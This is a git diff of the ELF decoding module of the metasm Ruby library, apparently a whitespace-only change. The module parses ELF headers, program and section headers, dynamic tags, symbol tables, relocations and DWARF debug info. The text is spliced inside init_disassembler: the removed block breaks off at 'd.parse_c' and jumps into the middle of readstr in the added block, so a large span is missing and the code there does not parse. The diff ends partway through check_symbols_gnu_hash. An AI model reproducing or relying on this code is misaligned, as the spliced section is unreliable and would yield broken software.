100644 --- a/lib/metasm/metasm/exe_format/elf_decode.rb +++ b/lib/metasm/metasm/exe_format/elf_decode.rb @@ -9,869 +9,869 @@ module Metasm class ELF - class Header - # hook the decode sequence, to fixup elf data based on info - # we have (endianness & xword size, needed in decode_word etc) - decode_hook(:type) { |elf, hdr| - raise InvalidExeFormat, "E: ELF: invalid ELF signature #{hdr.magic.inspect}" if hdr.magic != "\x7fELF" - - case hdr.e_class - when '32'; elf.bitsize = 32 - when '64', '64_icc'; elf.bitsize = 64 - else raise InvalidExeFormat, "E: ELF: unsupported class #{hdr.e_class}" - end - - case hdr.data - when 'LSB'; elf.endianness = :little - when 'MSB'; elf.endianness = :big - else raise InvalidExeFormat, "E: ELF: unsupported endianness #{hdr.data}" - end - - if hdr.i_version != 'CURRENT' - raise InvalidExeFormat, "E: ELF: unsupported ELF version #{hdr.i_version}" - end - } - end - - class Symbol - def decode(elf, strtab=nil) - super(elf) - @name = elf.readstr(strtab, @name_p) if strtab - end - end - - # basic immediates decoding functions - def decode_byte( edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_sword(edata = @encoded) edata.decode_imm(:i32, @endianness) end - def decode_xword(edata = @encoded) edata.decode_imm((@bitsize == 32 ? :u32 : :u64), @endianness) end - def decode_sxword(edata= @encoded) edata.decode_imm((@bitsize == 32 ? :i32 : :i64), @endianness) end - alias decode_addr decode_xword - alias decode_off decode_xword - - def readstr(str, off) - if off > 0 and i = str.index(?\0, off) rescue false # LoadedElf with arbitrary pointer... - str[off...i] - end - end - - # transforms a virtual address to a file offset, from mmaped segments addresses - def addr_to_off(addr) - s = @segments.find { |s_| s_.type == 'LOAD' and s_.vaddr <= addr and s_.vaddr + s_.memsz > addr } if addr - addr - s.vaddr + s.offset if s - end - - # memory address -> file offset - # handles relocated LoadedELF - def addr_to_fileoff(addr) - la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) - addr_to_off(addr - la) - end - - # file offset -> memory address - # handles relocated LoadedELF - def fileoff_to_addr(foff) - if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff } - la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) - s.vaddr + la + foff - s.offset - end - end - - # return the address of a label - def label_addr(name) - if name.kind_of? Integer - name - elsif s = @segments.find { |s_| s_.encoded and s_.encoded.export[name] } - s.vaddr + s.encoded.export[name] - elsif o = @encoded.export[name] and s = @segments.find { |s_| s_.offset <= o and s_.offset + s_.filesz > o } - s.vaddr + o - s.offset - end - end - - # make an export of +self.encoded+, returns the label name if successful - def add_label(name, addr) - if not o = addr_to_off(addr) - puts "W: Elf: #{name} points to unmmaped space #{'0x%08X' % addr}" if $VERBOSE - else - l = new_label(name) - @encoded.add_export l, o - end - l - end - - # decodes the elf header, section & program header - def decode_header(off = 0, decode_phdr=true, decode_shdr=true) - @encoded.ptr = off - @header.decode self - raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize - if decode_phdr and @header.phoff != 0 - decode_program_header(@header.phoff+off) - end - if decode_shdr and @header.shoff != 0 - decode_section_header(@header.shoff+off) - end - end - - # decodes the section header - # section names are read from shstrndx if possible - def decode_section_header(off = @header.shoff) - raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize - @encoded.add_export new_label('section_header'), off - @encoded.ptr = off - @sections = [] - @header.shnum.times { @sections << Section.decode(self) } - - # read sections name - if @header.shstrndx != 0 and str = @sections[@header.shstrndx] and str.encoded = @encoded[str.offset, str.size] - # LoadedElf may not have shstr mmaped - @sections[1..-1].each { |s| - s.name = readstr(str.encoded.data, s.name_p) - add_label("section_#{s.name}", s.addr) if s.name and s.addr > 0 - } - end - end - - # decodes the program header table - # marks the elf entrypoint as an export of +self.encoded+ - def decode_program_header(off = @header.phoff) - raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize - @encoded.add_export new_label('program_header'), off - @encoded.ptr = off - @segments = [] - @header.phnum.times { @segments << Segment.decode(self) } - - if @header.entry != 0 - add_label('entrypoint', @header.entry) - end - end - - # read the dynamic symbols hash table, and checks that every global and named symbol is accessible through it - # outputs a warning if it's not and $VERBOSE is set - def check_symbols_hash(off = @tag['HASH']) - return if not @encoded.ptr = off - - hash_bucket_len = decode_word - sym_count = decode_word - - hash_bucket = [] ; hash_bucket_len.times { hash_bucket << decode_word } - hash_table = [] ; sym_count.times { hash_table << decode_word } - - @symbols.each { |s| - next if not s.name or s.bind != 'GLOBAL' or s.shndx == 'UNDEF' - - found = false - h = ELF.hash_symbol_name(s.name) - off = hash_bucket[h % hash_bucket_len] - sym_count.times { # to avoid DoS by loop - break if off == 0 - if ss = @symbols[off] and ss.name == s.name - found = true - break - end - off = hash_table[off] - } - if not found - puts "W: Elf: Symbol #{s.name.inspect} not found in hash table" if $VERBOSE - end - } - end - - # checks every symbol's accessibility through the gnu_hash table - def check_symbols_gnu_hash(off = @tag['GNU_HASH'], just_get_count=false) - return if not @encoded.ptr = off - - # when present: the symndx first symbols are not sorted (SECTION/LOCAL/FILE/etc) symtable[symndx] is sorted (1st sorted symbol) - # the sorted symbols are sorted by [gnu_hash_symbol_name(symbol.name) % hash_bucket_len] - hash_bucket_len = decode_word - symndx = decode_word # index of first sorted symbol in symtab - maskwords = decode_word # number of words in the second part of the ghash section (32 or 64 bits) - shift2 = decode_word # used in the bloom filter - - bloomfilter = [] ; maskwords.times { bloomfilter << decode_xword } - # "bloomfilter[N] has bit B cleared if there is no M (M > symndx) which satisfies (C = @header.class) - # ((gnu_hash(sym[M].name) / C) % maskwords) == N && - # ((gnu_hash(sym[M].name) % C) == B || - # ((gnu_hash(sym[M].name) >> shift2) % C) == B" - # bloomfilter may be [~0] - if shift2 - end - - hash_bucket = [] ; hash_bucket_len.times { hash_bucket << decode_word } - # bucket[N] contains the lowest M for which - # gnu_hash(sym[M]) % nbuckets == N - # or 0 if none - - hsymcount = 0 - part4 = [] - hash_bucket.each { |hmodidx| - # for each bucket, walk all the chain - # we do not walk the chains in hash_bucket order here, this - # is just to read all the part4 as we don't know - # beforehand the number of hashed symbols - next if hmodidx == 0 # no hash chain for this mod - loop do - fu = decode_word - hsymcount += 1 - part4 << fu - break if fu & 1 == 1 - end - } - - # part4[N] contains - # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) - # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - - return hsymcount+symndx if just_get_count - - # TODO - end - - # read dynamic tags array - def decode_tags(off = nil) - if not off - if s = @segments.find { |s_| s_.type == 'DYNAMIC' } - # this way it also works with LoadedELF - off = addr_to_off(s.vaddr) - elsif s = @sections.find { |s_| s_.type == 'DYNAMIC' } - # if no DYNAMIC segment, assume we decode an ET_REL from file - off = s.offset - end - end - return if not @encoded.ptr = off - - @tag = {} - loop do - tag = decode_sxword - val = decode_xword - if tag >= DYNAMIC_TAG_LOPROC and tag < DYNAMIC_TAG_HIPROC - tag = int_to_hash(tag-DYNAMIC_TAG_LOPROC, DYNAMIC_TAG_PROC[@header.machine] || {}) - tag += DYNAMIC_TAG_LOPROC if tag.kind_of? Integer - else - tag = int_to_hash(tag, DYNAMIC_TAG) - end - case tag - when 'NULL' - @tag[tag] = val - break - when Integer - puts "W: Elf: unknown dynamic tag 0x#{tag.to_s 16}" if $VERBOSE - @tag[tag] ||= [] - @tag[tag] << val - when 'NEEDED' # here, list of tags for which multiple occurences are allowed - @tag[tag] ||= [] - @tag[tag] << val - when 'POSFLAG_1' - puts "W: Elf: ignoring dynamic tag modifier #{tag} #{int_to_hash(val, DYNAMIC_POSFLAG_1)}" if $VERBOSE - else - if @tag[tag] - puts "W: Elf: ignoring re-occurence of dynamic tag #{tag} (value #{'0x%08X' % val})" if $VERBOSE - else - @tag[tag] = val - end - end - end - end - - # interprets tags (convert flags, arrays etc), mark them as self.encoded.export - def decode_segments_tags_interpret - if @tag['STRTAB'] - if not sz = @tag['STRSZ'] - puts "W: Elf: no string table size tag" if $VERBOSE - else - if l = add_label('dynamic_strtab', @tag['STRTAB']) - @tag['STRTAB'] = l - strtab = @encoded[l, sz].data - end - end - end - - @tag.keys.each { |k| - case k - when Integer - when 'NEEDED' - # array of strings - if not strtab - puts "W: Elf: no string table, needed for tag #{k}" if $VERBOSE - next - end - @tag[k].map! { |v| readstr(strtab, v) } - when 'SONAME', 'RPATH', 'RUNPATH' - # string - if not strtab - puts "W: Elf: no string table, needed for tag #{k}" if $VERBOSE - next - end - @tag[k] = readstr(strtab, @tag[k]) - when 'INIT', 'FINI', 'PLTGOT', 'HASH', 'GNU_HASH', 'SYMTAB', 'RELA', 'REL', 'JMPREL' - @tag[k] = add_label('dynamic_' + k.downcase, @tag[k]) || @tag[k] - when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' - next if not l = add_label('dynamic_' + k.downcase, @tag[k]) - if not sz = @tag.delete(k+'SZ') - puts "W: Elf: tag #{k} has no corresponding size tag" if $VERBOSE - next - end - - tab = @encoded[l, sz] - tab.ptr = 0 - @tag[k] = [] - while tab.ptr < tab.length - a = decode_addr(tab) - @tag[k] << (add_label("dynamic_#{k.downcase}_#{@tag[k].length}", a) || a) - end - when 'PLTREL'; @tag[k] = int_to_hash(@tag[k], DYNAMIC_TAG) - when 'FLAGS'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FLAGS) - when 'FLAGS_1'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FLAGS_1) - when 'FEATURES_1'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FEATURES_1) - end - } - end - - # marks a symbol as @encoded.export (from s.value, using segments or sections) - def decode_symbol_export(s) - if s.name and s.shndx != 'UNDEF' and %w[NOTYPE OBJECT FUNC].include?(s.type) - if @header.type == 'REL' - sec = @sections[s.shndx] - o = sec.offset + s.value - elsif not o = addr_to_off(s.value) - # allow to point to end of segment - if not seg = @segments.find { |seg_| seg_.type == 'LOAD' and seg_.vaddr + seg_.memsz == s.value } # check end - puts "W: Elf: symbol points to unmmaped space (#{s.inspect})" if $VERBOSE and s.shndx != 'ABS' - return - end - # LoadedELF would have returned an addr_to_off = addr - o = s.value - seg.vaddr + seg.offset - end - name = s.name - while @encoded.export[name] and @encoded.export[name] != o - puts "W: Elf: symbol #{name} already seen at #{'%X' % @encoded.export[name]} - now at #{'%X' % o}) (may be a different version definition)" if $VERBOSE - name += '_' # do not modify inplace - end - @encoded.add_export name, o - end - end - - # read symbol table, and mark all symbols found as exports of self.encoded - # tables locations are found in self.tags - # XXX symbol count is found from the hash table, this may not work with GNU_HASH only binaries - def decode_segments_symbols - return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH']) - - raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self) - - # find number of symbols - if @tag['HASH'] - @encoded.ptr = @tag['HASH'] # assume tag already interpreted (would need addr_to_off otherwise) - decode_word - sym_count = decode_word - else - sym_count = check_symbols_gnu_hash(@tag['GNU_HASH'], true) - end - - strtab = @encoded[@tag['STRTAB'], @tag['STRSZ']].data.to_str - - @encoded.ptr = @tag['SYMTAB'] - @symbols.clear - sym_count.times { - s = Symbol.decode(self, strtab) - @symbols << s - decode_symbol_export(s) - } - - check_symbols_hash if $VERBOSE - check_symbols_gnu_hash if $VERBOSE - end - - # decode SYMTAB sections - def decode_sections_symbols - @symbols ||= [] - @sections.to_a.each { |sec| - next if sec.type != 'SYMTAB' - next if not strtab = @sections[sec.link] - strtab = @encoded[strtab.offset, strtab.size].data - @encoded.ptr = sec.offset - syms = [] - raise 'Invalid symbol table' if sec.size > @encoded.length - (sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) } - alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' - syms.each { |s| - if alreadysegs - # if we already decoded the symbols from the DYNAMIC segment, - # ignore dups and imports from this section - next if s.shndx == 'UNDEF' - next if @symbols.find { |ss| ss.name == s.name } - end - @symbols << s - decode_symbol_export(s) - } - } - end - - # decode REL/RELA sections - def decode_sections_relocs - @relocations ||= [] - @sections.to_a.each { |sec| - case sec.type - when 'REL'; relcls = Relocation - when 'RELA'; relcls = RelocationAddend - else next - end - startidx = @relocations.length - @encoded.ptr = sec.offset - while @encoded.ptr < sec.offset + sec.size - @relocations << relcls.decode(self) - end - - # create edata relocs - tsec = @sections[sec.info] - relocproc = "arch_decode_segments_reloc_#{@header.machine.to_s.downcase}" - next if not respond_to? relocproc - new_label('pcrel') - @relocations[startidx..-1].each { |r| - o = @encoded.ptr = tsec.offset + r.offset - r = r.dup - l = new_label('pcrel') - r.offset = Expression[l] - if rel = send(relocproc, r) - @encoded.reloc[o] = rel - end - } - } - end - - # decode relocation tables (REL, RELA, JMPREL) from @tags - def decode_segments_relocs - @relocations.clear - if @encoded.ptr = @tag['REL'] - raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self) - p_end = @encoded.ptr + @tag['RELSZ'] - while @encoded.ptr < p_end - @relocations << Relocation.decode(self) - end - end - - if @encoded.ptr = @tag['RELA'] - raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self) - p_end = @encoded.ptr + @tag['RELASZ'] - while @encoded.ptr < p_end - @relocations << RelocationAddend.decode(self) - end - end - - if @encoded.ptr = @tag['JMPREL'] - case reltype = @tag['PLTREL'] - when 'REL'; relcls = Relocation - when 'RELA'; relcls = RelocationAddend - else raise "E: ELF: unsupported plt relocation type #{reltype}" - end - p_end = @encoded.ptr + @tag['PLTRELSZ'] - while @encoded.ptr < p_end - @relocations << relcls.decode(self) - end - end - end - - # use relocations as self.encoded.reloc - def decode_segments_relocs_interpret - relocproc = "arch_decode_segments_reloc_#{@header.machine.to_s.downcase}" - if not respond_to? relocproc - puts "W: Elf: relocs for arch #{@header.machine} unsupported" if $VERBOSE - return - end - @relocations.each { |r| - next if r.offset == 0 - if not o = addr_to_off(r.offset) - puts "W: Elf: relocation in unmmaped space (#{r.inspect})" if $VERBOSE - next - end - if @encoded.reloc[o] - puts "W: Elf: not rerelocating address #{'%08X' % r.offset}" if $VERBOSE - next - end - @encoded.ptr = o - if rel = send(relocproc, r) - @encoded.reloc[o] = rel - end - } - - if @header.machine == 'MIPS' and @tag['PLTGOT'] and @tag['GOTSYM'] and @tag['LOCAL_GOTNO'] - puts "emulating mips PLT-like relocs" if $VERBOSE - wsz = @bitsize/8 - dyntab = label_addr(@tag['PLTGOT']) - (@tag['GOTSYM'] - @tag['LOCAL_GOTNO']) * wsz - dt_o = addr_to_off(dyntab) - @symbols.each_with_index { |sym, i| - next if i < @tag['GOTSYM'] or not sym.name - r = Metasm::Relocation.new(Expression[sym.name], "u#@bitsize".to_sym, @endianness) - @encoded.reloc[dt_o + wsz*i] = r - } - end - end - - # returns the Metasm::Relocation that should be applied for reloc - # self.encoded.ptr must point to the location that will be relocated (for implicit addends) - def arch_decode_segments_reloc_386(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - # decode addend if needed - case reloc.type - when 'NONE', 'COPY', 'GLOB_DAT', 'JMP_SLOT' # no addend - else addend = reloc.addend || decode_sword - end - - case reloc.type - when 'NONE' - when 'RELATIVE' - # base = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min & 0xffff_f000 - # compiled to be loaded at seg.vaddr - target = addend - if o = addr_to_off(target) - if not label = @encoded.inv_export[o] - label = new_label("xref_#{Expression[target]}") - @encoded.add_export label, o - end - target = label - else - puts "W: Elf: relocation pointing out of mmaped space #{reloc.inspect}" if $VERBOSE - end - when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32' - # XXX use versionned version - # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name - target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32' - target = Expression[target, :+, addend] if addend and addend != 0 - target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF' - target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32' - when 'COPY' - # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name - puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE - name = '' - end - name = new_label("copy_of_#{name}") - @encoded.add_export name, @encoded.ptr - target = nil - else - puts "W: Elf: unhandled 386 reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], :u32, @endianness) if target - end - - # returns the Metasm::Relocation that should be applied for reloc - # self.encoded.ptr must point to the location that will be relocated (for implicit addends) - def arch_decode_segments_reloc_mips(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - # decode addend if needed - case reloc.type - when 'NONE' # no addend - else addend = reloc.addend || decode_sword - end - - case reloc.type - when 'NONE' - when '32', 'REL32' - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name - target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32' - target = Expression[target, :+, addend] if addend and addend != 0 - else - puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], :u32, @endianness) if target - end - - # returns the Metasm::Relocation that should be applied for reloc - # self.encoded.ptr must point to the location that will be relocated (for implicit addends) - def arch_decode_segments_reloc_x86_64(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - # decode addend if needed - case reloc.type - when 'NONE' # no addend - when '32', 'PC32'; addend = reloc.addend || decode_sword - else addend = reloc.addend || decode_sxword - end - - sz = :u64 - case reloc.type - when 'NONE' - when 'RELATIVE' - # base = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min & 0xffff_f000 - # compiled to be loaded at seg.vaddr - target = addend - if o = addr_to_off(target) - if not label = @encoded.inv_export[o] - label = new_label("xref_#{Expression[target]}") - @encoded.add_export label, o - end - target = label - else - puts "W: Elf: relocation pointing out of mmaped space #{reloc.inspect}" if $VERBOSE - end - when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32' - # XXX use versionned version - # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name - target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32' - target = Expression[target, :+, addend] if addend and addend != 0 - sz = :u32 if reloc.type == '32' or reloc.type == 'PC32' - when 'COPY' - # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name - puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE - name = '' - end - name = new_label("copy_of_#{name}") - @encoded.add_export name, @encoded.ptr - target = nil - else - puts "W: Elf: unhandled X86_64 reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], sz, @endianness) if target - end - - class DwarfDebug - # decode a DWARF2 'compilation unit' - def decode(elf, info, abbrev, str) - super(elf, info) - len = @cu_len-7 # @cu_len is size from end of @cu_len field, so we substract ptsz/tag/abroff - info.ptr += len # advance for caller - info = info[info.ptr-len, len] # we'll work on our segment - abbrev.ptr = @abbrev_off - - return if abbrev.ptr >= abbrev.length or info.ptr >= info.length - - idx_abbroff = {} - - # returns a list of siblings at current abbrev.ptr - decode_tree = lambda { |parent| - siblings = [] - loop { - info_idx = elf.decode_leb(info) - break siblings if info_idx == 0 - abbrev.ptr = idx_abbroff[info_idx] if idx_abbroff[info_idx] - idx_abbroff[info_idx] ||= abbrev.ptr - n = DwarfDebug::Node.decode(elf, info, abbrev, str, idx_abbroff) - idx_abbroff[info_idx+1] ||= abbrev.ptr - siblings << n - n.children = decode_tree[n] if n.has_child == 1 - n.parent = parent - break n if not parent - } - } - @tree = decode_tree[nil] - end - - class Node - def decode(elf, info, abbrev, str, idx_abbroff) - super(elf, abbrev) - return if @index == 0 - @attributes = [] - loop { - a = Attribute.decode(elf, abbrev) - break if a.attr == 0 and a.form == 0 - if a.form == 'INDIRECT' # actual form tag is stored in info - a.form = elf.decode_leb(info) - a.form = DWARF_FORM[a.form] || a.form # XXX INDIRECT again ? - end - a.data = case a.form - when 'ADDR'; elf.decode_xword(info) # should use dbg.ptr_sz - when 'DATA1', 'REF1', 'BLOCK1', 'FLAG'; elf.decode_byte(info) - when 'DATA2', 'REF2', 'BLOCK2'; elf.decode_half(info) - when 'DATA4', 'REF4', 'BLOCK4'; elf.decode_word(info) - when 'DATA8', 'REF8', 'BLOCK8'; elf.decode_word(info) | (elf.decode_word(info) << 32) - when 'SDATA', 'UDATA', 'REF_UDATA', 'BLOCK'; elf.decode_leb(info) - when 'STRING'; elf.decode_strz(info) - when 'STRP'; str.ptr = elf.decode_word(info) ; elf.decode_strz(str) - end - case a.form - when /^REF/ - when /^BLOCK/; a.data = info.read(a.data) - end - @attributes << a - } - end - end - end - - # decode an ULEB128 (dwarf2): read bytes while high bit is set, littleendian - def decode_leb(ed = @encoded) - v = s = 0 - loop { - b = ed.read(1).unpack('C').first.to_i - v |= (b & 0x7f) << s - s += 7 - break v if (b&0x80) == 0 - } - end - - # decodes the debugging information if available - # only a subset of DWARF2/3 is handled right now - # most info taken from http://ratonland.org/?entry=39 & libdwarf/dwarf.h - def decode_debug - return if not @sections - - # assert presence of DWARF sections - info = @sections.find { |sec| sec.name == '.debug_info' } - abbrev = @sections.find { |sec| sec.name == '.debug_abbrev' } - str = @sections.find { |sec| sec.name == '.debug_str' } - return if not info or not abbrev - - # section -> content - info = @encoded[info.offset, info.size] - abbrev = @encoded[abbrev.offset, abbrev.size] - str = @encoded[str.offset, str.size] if str - - @debug = [] - - while info.ptr < info.length - @debug << DwarfDebug.decode(self, info, abbrev, str) - end - end - - # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs - def decode_segments_dynamic - return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' } - @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr) - decode_tags - decode_segments_tags_interpret - decode_segments_symbols - decode_segments_relocs - decode_segments_relocs_interpret - end - - # decodes the dynamic segment, fills segments.encoded - def decode_segments - decode_segments_dynamic - decode_sections_symbols - #decode_debug # too many info, decode on demand - @segments.each { |s| - case s.type - when 'LOAD', 'INTERP' - sz = s.filesz - pagepad = (-(s.offset + sz)) % 4096 - s.encoded = @encoded[s.offset, sz] || EncodedData.new - if s.type == 'LOAD' and sz > 0 and not s.flags.include?('W') - # align loaded data to the next page boundary for readonly mmap - # but discard the labels/relocs etc - s.encoded << @encoded[s.offset+sz, pagepad].data rescue nil - s.encoded.virtsize = sz+pagepad - end - s.encoded.virtsize = s.memsz if s.memsz > s.encoded.virtsize - end - } - end - - # decodes sections, interprets symbols/relocs, fills sections.encoded - def decode_sections - decode_sections_symbols - decode_sections_relocs - @sections.each { |s| - case s.type - when 'PROGBITS', 'NOBITS' - when 'TODO' # TODO - end - } - @sections.find_all { |s| s.type == 'PROGBITS' or s.type == 'NOBITS' }.each { |s| - if s.flags.include? 'ALLOC' - if s.type == 'NOBITS' - s.encoded = EncodedData.new '', :virtsize => s.size - else - s.encoded = @encoded[s.offset, s.size] || EncodedData.new - s.encoded.virtsize = s.size - end - end - } - end - - def decode_exports - decode_segments_dynamic - end - - # decodes the elf header, and depending on the elf type, decode segments or sections - def decode - decode_header - case @header.type - when 'DYN', 'EXEC'; decode_segments - when 'REL'; decode_sections - when 'CORE' - end - end - - def each_section - @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' } - return if @header.type != 'REL' - @sections.each { |s| - next if not s.encoded - l = new_label(s.name) - s.encoded.add_export l, 0 - yield s.encoded, l - } - end - - # returns a metasm CPU object corresponding to +header.machine+ - def cpu_from_headers - case @header.machine - when 'X86_64'; X86_64.new - when '386'; Ia32.new - when 'MIPS'; MIPS.new @endianness - when 'PPC'; PPC.new - when 'ARM'; ARM.new - else raise "unsupported cpu #{@header.machine}" - end - end - - # returns an array including the ELF entrypoint (if not null) and the FUNC symbols addresses - # TODO include init/init_array - def get_default_entrypoints - ep = [] - ep << @header.entry if @header.entry != 0 - @symbols.each { |s| - ep << s.value if s.shndx != 'UNDEF' and s.type == 'FUNC' - } if @symbols - ep - end - - def dump_section_header(addr, edata) - if s = @segments.find { |s_| s_.vaddr == addr } - "\n// ELF segment at #{Expression[addr]}, flags = #{s.flags.sort.join(', ')}" - else super(addr, edata) - end - end - - # returns a disassembler with a special decodedfunction for dlsym, __libc_start_main, and a default function (i386 only) - def init_disassembler - d = super() - d.backtrace_maxblocks_data = 4 - if d.get_section_at(0) - # fixes call [constructor] => 0 - d.decoded[0] = true - d.function[0] = @cpu.disassembler_default_func - end - case @cpu.shortname - when 'ia32', 'x64' - old_cp = d.c_parser - d.c_parser = nil - d.parse_c < 0 and i = str.index(?\0, off) rescue false # LoadedElf with arbitrary pointer... + str[off...i] + end + end + + # transforms a virtual address to a file offset, from mmaped segments addresses + def addr_to_off(addr) + s = @segments.find { |s_| s_.type == 'LOAD' and s_.vaddr <= addr and s_.vaddr + s_.memsz > addr } if addr + addr - s.vaddr + s.offset if s + end + + # memory address -> file offset + # handles relocated LoadedELF + def addr_to_fileoff(addr) + la = module_address + la = (la == 0 ? (@load_address ||= 0) : 0) + addr_to_off(addr - la) + end + + # file offset -> memory address + # handles relocated LoadedELF + def fileoff_to_addr(foff) + if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff } + la = module_address + la = (la == 0 ? (@load_address ||= 0) : 0) + s.vaddr + la + foff - s.offset + end + end + + # return the address of a label + def label_addr(name) + if name.kind_of? Integer + name + elsif s = @segments.find { |s_| s_.encoded and s_.encoded.export[name] } + s.vaddr + s.encoded.export[name] + elsif o = @encoded.export[name] and s = @segments.find { |s_| s_.offset <= o and s_.offset + s_.filesz > o } + s.vaddr + o - s.offset + end + end + + # make an export of +self.encoded+, returns the label name if successful + def add_label(name, addr) + if not o = addr_to_off(addr) + puts "W: Elf: #{name} points to unmmaped space #{'0x%08X' % addr}" if $VERBOSE + else + l = new_label(name) + @encoded.add_export l, o + end + l + end + + # decodes the elf header, section & program header + def decode_header(off = 0, decode_phdr=true, decode_shdr=true) + @encoded.ptr = off + @header.decode self + raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize + if decode_phdr and @header.phoff != 0 + decode_program_header(@header.phoff+off) + end + if decode_shdr and @header.shoff != 0 + decode_section_header(@header.shoff+off) + end + end + + # decodes the section header + # section names are read from shstrndx if possible + def decode_section_header(off = @header.shoff) + raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize + @encoded.add_export new_label('section_header'), off + @encoded.ptr = off + @sections = [] + @header.shnum.times { @sections << Section.decode(self) } + + # read sections name + if @header.shstrndx != 0 and str = @sections[@header.shstrndx] and str.encoded = @encoded[str.offset, str.size] + # LoadedElf may not have shstr mmaped + @sections[1..-1].each { |s| + s.name = readstr(str.encoded.data, s.name_p) + add_label("section_#{s.name}", s.addr) if s.name and s.addr > 0 + } + end + end + + # decodes the program header table + # marks the elf entrypoint as an export of +self.encoded+ + def decode_program_header(off = @header.phoff) + raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize + @encoded.add_export new_label('program_header'), off + @encoded.ptr = off + @segments = [] + @header.phnum.times { @segments << Segment.decode(self) } + + if @header.entry != 0 + add_label('entrypoint', @header.entry) + end + end + + # read the dynamic symbols hash table, and checks that every global and named symbol is accessible through it + # outputs a warning if it's not and $VERBOSE is set + def check_symbols_hash(off = @tag['HASH']) + return if not @encoded.ptr = off + + hash_bucket_len = decode_word + sym_count = decode_word + + hash_bucket = [] ; hash_bucket_len.times { hash_bucket << decode_word } + hash_table = [] ; sym_count.times { hash_table << decode_word } + + @symbols.each { |s| + next if not s.name or s.bind != 'GLOBAL' or s.shndx == 'UNDEF' + + found = false + h = ELF.hash_symbol_name(s.name) + off = hash_bucket[h % hash_bucket_len] + sym_count.times { # to avoid DoS by loop + break if off == 0 + if ss = @symbols[off] and ss.name == s.name + found = true + break + end + off = hash_table[off] + } + if not found + puts "W: Elf: Symbol #{s.name.inspect} not found in hash table" if $VERBOSE + end + } + end + + # checks every symbol's accessibility through the gnu_hash table + def check_symbols_gnu_hash(off = @tag['GNU_HASH'], just_get_count=false) + return if not @encoded.ptr = off + + # when present: the symndx first symbols are not sorted (SECTION/LOCAL/FILE/etc) symtable[symndx] is sorted (1st sorted symbol) + # the sorted 